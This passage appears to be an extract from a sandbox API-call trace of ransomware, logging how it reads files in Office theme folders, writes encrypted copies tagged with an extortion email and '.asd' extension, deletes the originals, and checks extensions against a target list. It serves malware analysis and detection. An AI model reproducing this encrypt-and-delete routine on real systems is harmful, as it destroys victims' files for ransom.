Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.761] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=1363) returned 1 [0053.761] CloseHandle (hObject=0x1dc) returned 1 [0053.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0053.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0053.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0053.761] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.761] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0053.765] GetLastError () returned 0x0 [0053.765] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x553, lpOverlapped=0x0) returned 1 [0054.013] WriteFile (in: hFile=0x184, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x560, lpOverlapped=0x0) returned 1 [0054.015] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.015] WriteFile (in: hFile=0x184, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.016] SetEndOfFile (hFile=0x184) returned 1 [0054.016] CloseHandle (hObject=0x184) returned 1 [0054.016] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.016] SetEndOfFile (hFile=0x1dc) returned 1 [0054.017] CloseHandle (hObject=0x1dc) returned 1 [0054.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.018] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0054.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.018] lstrlenW (lpString=".doc") returned 4 [0054.018] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.018] lstrlenW (lpString=".docx") returned 5 [0054.018] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.018] lstrlenW (lpString=".pdf") returned 4 [0054.018] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.018] lstrlenW (lpString=".xls") returned 4 [0054.018] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.018] lstrlenW (lpString=".xlsx") returned 5 [0054.019] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.019] lstrlenW (lpString=".ppt") returned 4 [0054.019] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.019] lstrlenW (lpString=".zip") returned 4 [0054.019] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.019] lstrlenW (lpString=".rar") returned 4 [0054.019] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.019] lstrlenW (lpString=".bz2") returned 4 [0054.019] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.019] lstrlenW (lpString=".7z") returned 3 [0054.019] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.019] lstrlenW (lpString=".dbf") returned 4 [0054.019] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.019] lstrlenW (lpString=".1cd") returned 4 [0054.019] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.019] lstrlenW (lpString=".jpg") returned 4 [0054.019] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.019] lstrlenW (lpString=".doc") returned 4 [0054.019] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.019] lstrlenW (lpString=".docx") returned 5 [0054.020] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.020] lstrlenW (lpString=".pdf") returned 4 [0054.020] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.020] lstrlenW (lpString=".xls") returned 4 [0054.020] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.020] lstrlenW (lpString=".xlsx") returned 5 [0054.020] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.020] lstrlenW (lpString=".ppt") returned 4 [0054.020] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.020] lstrlenW (lpString=".zip") returned 4 [0054.020] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.020] lstrlenW (lpString=".rar") returned 4 [0054.020] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.020] lstrlenW (lpString=".bz2") returned 4 [0054.020] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.020] lstrlenW (lpString=".7z") returned 3 [0054.020] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.020] lstrlenW (lpString=".dbf") returned 4 [0054.020] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.020] lstrlenW (lpString=".1cd") returned 4 [0054.020] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0054.020] lstrlenW (lpString=".jpg") returned 4 [0054.020] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.021] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.021] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.244] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=28595) returned 1 [0054.244] CloseHandle (hObject=0x204) returned 1 [0054.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0054.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.244] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.244] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.245] GetLastError () returned 0x0 [0054.245] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0054.247] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0054.248] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.248] WriteFile (in: hFile=0x20c, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.248] SetEndOfFile (hFile=0x20c) returned 1 [0054.248] CloseHandle (hObject=0x20c) returned 1 [0054.249] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.249] SetEndOfFile (hFile=0x204) returned 1 [0054.249] CloseHandle (hObject=0x204) returned 1 [0054.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.250] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0054.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.250] lstrlenW (lpString=".doc") returned 4 [0054.250] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.250] lstrlenW (lpString=".docx") returned 5 [0054.250] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.250] lstrlenW (lpString=".pdf") returned 4 [0054.250] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.250] lstrlenW (lpString=".xls") returned 4 [0054.250] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.250] lstrlenW (lpString=".xlsx") returned 5 [0054.250] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.250] lstrlenW (lpString=".ppt") returned 4 [0054.250] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.250] lstrlenW (lpString=".zip") returned 4 [0054.250] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.250] lstrlenW (lpString=".rar") returned 4 [0054.250] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.251] lstrlenW (lpString=".bz2") returned 4 [0054.251] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.251] lstrlenW (lpString=".7z") returned 3 [0054.251] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.251] lstrlenW (lpString=".dbf") returned 4 [0054.251] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.251] lstrlenW (lpString=".1cd") returned 4 [0054.251] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.251] lstrlenW (lpString=".jpg") returned 4 [0054.251] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.251] lstrlenW (lpString=".doc") returned 4 [0054.251] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.251] lstrlenW (lpString=".docx") returned 5 [0054.251] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.251] lstrlenW (lpString=".pdf") returned 4 [0054.251] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.251] lstrlenW (lpString=".xls") returned 4 [0054.251] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.251] lstrlenW (lpString=".xlsx") returned 5 [0054.251] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.251] lstrlenW (lpString=".ppt") returned 4 [0054.251] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.251] lstrlenW (lpString=".zip") returned 4 [0054.251] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.251] lstrlenW (lpString=".rar") returned 4 [0054.251] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.252] lstrlenW (lpString=".bz2") returned 4 [0054.252] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.252] lstrlenW (lpString=".7z") returned 3 [0054.252] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.252] lstrlenW (lpString=".dbf") returned 4 [0054.252] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.252] lstrlenW (lpString=".1cd") returned 4 [0054.252] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0054.252] lstrlenW (lpString=".jpg") returned 4 [0054.252] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.252] lstrcmpiW (lpString1=".GIF", lpString2=".asd") returned 1 [0054.252] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.252] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=2552) returned 1 [0054.252] CloseHandle (hObject=0x204) returned 1 [0054.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0054.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.253] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.253] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0054.256] GetLastError () returned 0x0 [0054.256] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0054.259] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0054.260] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.260] WriteFile (in: hFile=0x168, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.260] SetEndOfFile (hFile=0x168) returned 1 [0054.260] CloseHandle (hObject=0x168) returned 1 [0054.261] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.261] SetEndOfFile (hFile=0x204) returned 1 [0054.261] CloseHandle (hObject=0x204) returned 1 [0054.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0054.262] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0054.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.262] lstrlenW (lpString=".doc") returned 4 [0054.262] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.262] lstrlenW (lpString=".docx") returned 5 [0054.262] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.262] lstrlenW (lpString=".pdf") returned 4 [0054.262] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.262] lstrlenW (lpString=".xls") returned 4 [0054.262] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.262] lstrlenW (lpString=".xlsx") returned 5 [0054.262] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.262] lstrlenW (lpString=".ppt") returned 4 [0054.262] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.262] lstrlenW (lpString=".zip") returned 4 [0054.262] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.262] lstrlenW (lpString=".rar") returned 4 [0054.262] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.262] lstrlenW (lpString=".bz2") returned 4 [0054.262] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.262] lstrlenW (lpString=".7z") returned 3 [0054.262] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.262] lstrlenW (lpString=".dbf") returned 4 [0054.263] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.263] lstrlenW (lpString=".1cd") returned 4 [0054.263] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.263] lstrlenW (lpString=".jpg") returned 4 [0054.263] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.263] lstrlenW (lpString=".doc") returned 4 [0054.263] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.263] lstrlenW (lpString=".docx") returned 5 [0054.263] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.263] lstrlenW (lpString=".pdf") returned 4 [0054.263] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.263] lstrlenW (lpString=".xls") returned 4 [0054.263] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.263] lstrlenW (lpString=".xlsx") returned 5 [0054.263] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.263] lstrlenW (lpString=".ppt") returned 4 [0054.263] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.263] lstrlenW (lpString=".zip") returned 4 [0054.263] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.263] lstrlenW (lpString=".rar") returned 4 [0054.263] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.263] lstrlenW (lpString=".bz2") returned 4 [0054.263] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.263] lstrlenW (lpString=".7z") returned 3 [0054.263] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.263] lstrlenW (lpString=".dbf") returned 4 [0054.264] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.264] lstrlenW (lpString=".1cd") returned 4 [0054.264] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0054.264] lstrlenW (lpString=".jpg") returned 4 [0054.264] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.264] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0054.264] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft 